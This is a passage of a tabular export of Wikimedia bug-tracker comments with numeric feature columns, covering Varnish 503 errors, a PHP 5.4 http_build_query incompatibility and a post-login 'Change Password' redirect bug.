> Error: 503, Service Unavailable at Fri, 14 Feb 2014 10:32:22 GMT",,,1392374103,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,0.75,"**socket0** wrote:

I can also reproduce the problem from Europe (also server amssq57). HTTP gets an error, HTTPS works. 

QUOTE
QUOTE
QUOTE"
283766,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"I can reproduce the problem on HTTP, but cannot reproduce on HTTPS (as in: the page works). Connecting from a host in Europe, through the same server (amssq57).",,,1392371380,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,13.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,18.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5,0.7368421052631579,"I can reproduce the problem on HTTP, but cannot reproduce on HTTPS (as in: the page works). Connecting from a host in Europe, through the same server (amssq57)."
283761,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"http://en.wikipedia.org/wiki/Selberg_sieve  succeeds for me from a host in the US (logged out) and fails from a host in Europe (both logged out and logged in) with the 503 error message.
https://en.wikipedia.org/wiki/Selberg_sieve succeeds from a host in Europe, both logged out and logged in.",,,1392371060,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,25.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,25.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,3.326923076923077,0.5,"URL  succeeds for me from a host in the US (logged out) and fails from a host in Europe (both logged out and logged in) with the 503 error message.
URL succeeds from a host in Europe, both logged out and logged in."
62003,HTTP 503 error when requesting linked data for large entities,"**Author:** `jclarke`

**Description:**
For some entities using Wikidata's Special:EntityData linked data URIs return HTTP 503.

$ curl -I https://www.wikidata.org/wiki/Special:EntityData/Q30.json
HTTP/1.1 503 Service Unavailable

$ curl -I https://www.wikidata.org/wiki/Special:EntityData/Q30.nt
HTTP/1.1 503 Service Unavailable

$ curl -I https://www.wikidata.org/wiki/Special:EntityData/Q30.rdf
HTTP/1.1 503 Service Unavailable

Access via api.php works fine:

$ curl -I ""https://www.wikidata.org/w/api.php?action=wbgetentities&ids=q30&format=json""
HTTP/1.1 200 OK

Other examples:

 * Q30
 * Q148
 * Q145

--------------------------
**Version**: unspecified
**Severity**: major
**Whiteboard**: varnish u=dev c=infrastructure p=0",High,80.0,1389628320,1399410357.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pzlcltxrp64b4qmut2ml,task_description,resolved,True,c3,1,False,False,True,-77,True,0.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.6557377049180326,0.5491803278688525,"**Author:** CODE

**Description:**
For some entities using Wikidata's Special:EntityData linked data URIs return HTTP 503.

$ curl -I URL
HTTP/1.1 503 Service Unavailable

$ curl -I URL
HTTP/1.1 503 Service Unavailable

$ curl -I URL
HTTP/1.1 503 Service Unavailable

Access via api.php works fine:

$ curl -I ""URL
HTTP/1.1 200 OK

Other examples:

 * Q30
 * Q148
 * Q145

--------------------------
**Version**: unspecified
**Severity**: major
**Whiteboard**: varnish u=dev c=infrastructure p=0"
281643,HTTP 503 error when requesting linked data for large entities,"Change 131746 merged by jenkins-bot:
Don't set Content-Length in EntityDataRequestHandler

https://gerrit.wikimedia.org/r/131746",,,1399410278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,False,,,-61,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.894736842105263,0.9473684210526315,"Change 131746 merged by jenkins-bot:
Don't set Content-Length in EntityDataRequestHandler

GERRIT_URL"
281636,HTTP 503 error when requesting linked data for large entities,"Change 131746 had a related patch set uploaded by Hoo man:
Don't set Content-Length in EntityDataRequestHandler

https://gerrit.wikimedia.org/r/131746",,,1399398589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,False,,,-61,True,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.739130434782608,0.9565217391304348,"Change 131746 had a related patch set uploaded by Hoo man:
Don't set Content-Length in EntityDataRequestHandler

GERRIT_URL"
281627,HTTP 503 error when requesting linked data for large entities,"Varnish 503s with this error message:

  170 FetchError   c straight insufficient bytes

which I think is a problem with compression that we've seen before. See if this varies whether or not you send an Accept-Encoding header of gzip/deflate or not?",,,1399396822,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,False,,,-61,True,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,6.0,4.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,12.0,6.0,2.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.1568627450980395,0.9215686274509803,"Varnish 503s with this error message:

  170 FetchError   c straight insufficient bytes

which I think is a problem with compression that we've seen before. See if this varies whether or not you send an Accept-Encoding header of gzip/deflate or not?"
281621,HTTP 503 error when requesting linked data for large entities,"This indeed is a varnish problem, fetching the data directly from one of the apache's works fine (and fast).",,,1399232316,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-61,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.75,0.9583333333333334,"This indeed is a varnish problem, fetching the data directly from one of the apache's works fine (and fast)."
281615,HTTP 503 error when requesting linked data for large entities,"According to Katie, it's a problem with Varnish:

  [18:31] <aude> DanielK_WMDE: it says ""Varnish XID 2665166859""
  [18:32] <aude> tells me it probably is varnish
  [18:33] <aude> it's a text varnish cache
  [18:33] <aude> cp1065.eqiad.wmnet

So I suppose we'll have to ask Mark about it.",,,1391711425,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-73,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,11.0,5.0,9.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,22.0,3.3783783783783785,0.6081081081081081,"According to Katie, it's a problem with Varnish:

  [18:31] <aude> DanielK_WMDE: it says ""Varnish XID 2665166859""
  [18:32] <aude> tells me it probably is varnish
  [18:33] <aude> it's a text varnish cache
  [18:33] <aude> cp1065.eqiad.wmnet

So I suppose we'll have to ask Mark about it."
281610,HTTP 503 error when requesting linked data for large entities,"the error is:

Request: GET http://www.wikidata.org/wiki/Special:EntityData/Q30.json, from 10.64.0.102 via cp1065 cp1065 ([10.64.0.102]:3128), Varnish XID 2665166859<br/>Forwarded for: 87.138.110.76, 91.198.174.103, 208.80.154.77, 10.64.0.102<br/>Error: 503, Service Unavailable at Thu, 06 Feb 2014 17:30:26 GMT

seems to come from varnish.  Maybe we are hitting some memory or other limit?",,,1391709529,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-73,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,17.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,2.0,9.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.46969696969697,0.803030303030303,"the error is:

Request: GET URL from 10.64.0.102 via cp1065 cp1065 ([10.64.0.102]:3128), Varnish XID 2665166859<br/>Forwarded for: 87.138.110.76, 91.198.174.103, 208.80.154.77, 10.64.0.102<br/>Error: 503, Service Unavailable at Thu, 06 Feb 2014 17:30:26 GMT

seems to come from varnish.  Maybe we are hitting some memory or other limit?"
281607,HTTP 503 error when requesting linked data for large entities,"So, according to Chris & Chad, since this error doesn't show in fatal.log, it's not an OutOfMemory error. And it's not a timeout either. We'll need assistance from someone with shell access to identify the problem.",,,1391707553,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-73,True,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,13.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,3.891304347826087,0.8043478260869565,"So, according to Chris & Chad, since this error doesn't show in fatal.log, it's not an OutOfMemory error. And it's not a timeout either. We'll need assistance from someone with shell access to identify the problem."
281603,HTTP 503 error when requesting linked data for large entities,"Hypothesis: large entities trigger an Out Out Memory error, because SpecialEntityData uses output buffering on the JSON, effectively doubling the memory footprint of the serialized entity.",,,1389699228,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,20.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.433333333333334,0.8666666666666667,"Hypothesis: large entities trigger an Out Out Memory error, because SpecialEntityData uses output buffering on the JSON, effectively doubling the memory footprint of the serialized entity."
61880,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182","PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in /usr/local/apache/common-local/php-1.23wmf10/includes/libs/MultiHttpClient.php on line 182

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1389298260,1389306055.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_description,resolved,True,c3,1,True,False,True,-77,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.092592592592593,0.6851851851851852,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in /usr/local/apache/common-local/php-1.23wmf10/includes/libs/MultiHttpClient.php on line 182

--------------------------
**Version**: unspecified
**Severity**: minor"
274529,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182","(In reply to comment #4)
> Appears to have been fixed in Gerrit change #106624.

Thanks, I thought I linked that in a comment here...",,,1389321058,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,22.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0869565217391304,0.9130434782608695,"(In reply to comment #4)
QUOTE

Thanks, I thought I linked that in a comment here..."
274526,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182",Appears to have been fixed in gerrit 106624.,,,1389320991,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Appears to have been fixed in gerrit 106624.
274523,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182",Caused by https://gerrit.wikimedia.org/r/#/c/101226/ as WMF doesn't use PHP 5.4 yet,,,1389299075,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,1.0,Caused by URL as WMF doesn't use PHP 5.4 yet
274519,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182","$query = http_build_query( $req['query'], '', '&', PHP_QUERY_RFC3986 );

function http_build_query (array $formdata, $numeric_prefix = null, $arg_separator = null, $enc_type = PHP_QUERY_RFC1738) {}

http://www.php.net/manual/en/function.http-build-query.php

PHP 5.4 - The enc_type parameter was added.",,,1389298983,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,5.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.9285714285714284,0.6071428571428571,"$query = http_build_query( $req['query'], '', '&', PHP_QUERY_RFC3986 );

function http_build_query (array $formdata, $numeric_prefix = null, $arg_separator = null, $enc_type = PHP_QUERY_RFC1738) {}

URL

PHP 5.4 - The enc_type parameter was added."
274514,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182",Quite a few of these spewing out,,,1389298847,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,3.7142857142857144,1.0,Quite a few of these spewing out
59289,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","* 1.23wmf3 (e2e9b85)

Scenario:

+ en.wikipedia.org as of 2013-11-20
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password change after login with temporary password)
+ after a successful password change you will see

Bug:
===

page title after successful password change is (still): 

""Change Password""

URL is: 

""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""

with unsuited information on it:

""You must be logged in to access this page directly.""

This is striclty reproducible.

--------------------------
**Version**: 1.23.0
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57098
https://bugzilla.wikimedia.org/show_bug.cgi?id=57065",High,80.0,1384939200,1385149062.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-jz2kosktxmdbzxu36qjm,task_description,resolved,True,c3,1,False,False,True,-85,True,0.0,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,1.5,0.5,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.5,0.0,3.5,3.0,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,3.5,7.0,4.5,0.0,4.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.52991118077325,0.5597570532915361,"* 1.23wmf3 (e2e9b85)

Scenario:

+ en.wikipedia.org as of 2013-11-20
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password change after login with temporary password)
+ after a successful password change you will see

Bug:
===

page title after successful password change is (still): 

""Change Password""

URL is: 

""URL

with unsuited information on it:

""You must be logged in to access this page directly.""

This is striclty reproducible.

--------------------------
**Version**: 1.23.0
**Severity**: major
**See Also**:
URL
URL"
268514,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",Tyler: okay. I understand this from a discussion in the chat some minutes ago. ty,,,1385149287,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,Tyler: okay. I understand this from a discussion in the chat some minutes ago. ty
268513,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","That's because the fix has not been deployed yet. However, the actual bug in question has been resolved in master.",,,1385149062,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,8.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.7916666666666666,"That's because the fix has not been deployed yet. However, the actual bug in question has been resolved in master."
268511,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","In www.mediawiki,org : Not solved


After changing the password, see http://i.imgur.com/7ADHPHH.png

URL:

https://www.mediawiki.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1

